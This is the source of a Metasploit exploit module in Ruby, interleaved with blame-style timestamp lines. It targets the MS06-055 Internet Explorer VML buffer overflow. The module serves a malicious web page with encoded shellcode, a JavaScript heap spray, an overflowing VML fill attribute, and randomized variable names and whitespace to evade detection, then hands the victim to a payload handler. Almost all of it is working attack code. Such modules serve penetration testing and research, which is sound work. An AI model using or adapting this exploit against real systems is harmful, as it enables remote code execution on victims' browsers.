2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
2006-09-27 03:52:54 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
|
|
class Exploits::Windows::Browser::MS06_055_VML_Overflow < Msf::Exploit::Remote
|
|
|
|
|
|
2006-12-10 02:55:02 +00:00
|
|
|
include Exploit::Remote::HttpServer::HTML
|
2006-09-27 03:52:54 +00:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Internet Explorer VML Fill Method Code Execution',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a code execution vulnerability in Microsoft Internet Explorer using
|
|
|
|
|
a buffer overflow in the VML processing code (VGX.dll). This module has been tested on
|
|
|
|
|
Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' =>
|
|
|
|
|
[
|
|
|
|
|
'hdm',
|
|
|
|
|
'Aviv Raff <avivra [at] gmail.com>',
|
|
|
|
|
'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>',
|
|
|
|
|
'Mr.Niega <Mr.Niega [at] gmail.com>',
|
|
|
|
|
'M. Shirk <shirkdog_list [at] hotmail.com>'
|
|
|
|
|
],
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-09-27 03:52:54 +00:00
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
['MSB', 'MS06-055' ],
|
|
|
|
|
['CVE', '2006-4868' ],
|
|
|
|
|
['BID', '20096' ],
|
|
|
|
|
['OSVDB', '28946' ],
|
|
|
|
|
],
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
['Windows NT 4.0 -> Windows 2003 SP1', {'Ret' => 0x0c0c0c0c} ]
|
|
|
|
|
],
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
|
|
# Re-generate the payload
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
|
|
# Determine the buffer length to use
|
|
|
|
|
buflen = 1024
|
2006-09-27 04:01:22 +00:00
|
|
|
if (request.headers['User-Agent'] =~ /Windows 5\.[123]/)
|
|
|
|
|
buflen = 65535
|
|
|
|
|
end
|
2006-09-27 03:52:54 +00:00
|
|
|
|
|
|
|
|
# Encode the shellcode
|
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
|
|
|
|
|
|
# Get a unicode friendly version of the return address
|
|
|
|
|
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]
|
|
|
|
|
|
|
|
|
|
# Select a random VML element to use
|
|
|
|
|
vmls = %w{ rect roundrect line polyline oval image arc curve }
|
|
|
|
|
vmlelem = vmls[ rand(vmls.length) ]
|
|
|
|
|
|
|
|
|
|
# The overflow buffer for the method attribute
|
|
|
|
|
buffer = ("&#x" + addr_word + ";") * buflen
|
|
|
|
|
|
|
|
|
|
# Generate a random XML namespace for VML
|
2007-03-01 08:21:36 +00:00
|
|
|
xmlns = rand_text_alpha(rand(30)+2)
|
2006-09-27 03:52:54 +00:00
|
|
|
|
|
|
|
|
# Randomize the javascript variable names
|
2007-03-01 08:21:36 +00:00
|
|
|
var_buffer = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_shellcode = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_unescape = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_x = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_i = rand_text_alpha(rand(30)+2)
|
2006-09-27 03:52:54 +00:00
|
|
|
|
|
|
|
|
# Build out the message
|
|
|
|
|
content = %Q|
|
|
|
|
|
<html xmlns:#{xmlns} = " urn:schemas-microsoft-com:vml " >
|
|
|
|
|
<head>
|
|
|
|
|
<style> #{xmlns}\\:* { behavior: url(#default#VML) ; } </style>
|
|
|
|
|
<body>
|
|
|
|
|
<script>
|
|
|
|
|
|
|
|
|
|
var #{var_unescape} = unescape ;
|
|
|
|
|
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
|
|
|
|
|
|
|
|
|
|
var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
|
|
|
|
|
while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ;
|
|
|
|
|
|
|
|
|
|
var #{var_x} = new Array() ;
|
|
|
|
|
for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) {
|
|
|
|
|
#{var_x}[ #{var_i} ] =
|
|
|
|
|
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
|
|
|
|
|
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
|
|
|
|
|
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
|
|
|
|
|
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
</script>
|
|
|
|
|
<#{xmlns}:#{vmlelem}>
|
|
|
|
|
<#{xmlns}:fill method = "#{buffer}" />
|
|
|
|
|
</#{xmlns}:#{vmlelem}>
|
|
|
|
|
|
|
|
|
|
</body>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Randomize the whitespace in the document
|
|
|
|
|
content.gsub!(/\s+/) do |s|
|
|
|
|
|
len = rand(100)+2
|
|
|
|
|
set = "\x09\x20\x0d\x0a"
|
|
|
|
|
buf = ''
|
|
|
|
|
|
|
|
|
|
while (buf.length < len)
|
|
|
|
|
buf << set[rand(set.length)].chr
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
buf
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
2006-12-10 03:26:53 +00:00
|
|
|
send_response_html(cli, content)
|
2007-04-04 04:34:17 +00:00
|
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
2006-09-27 03:52:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
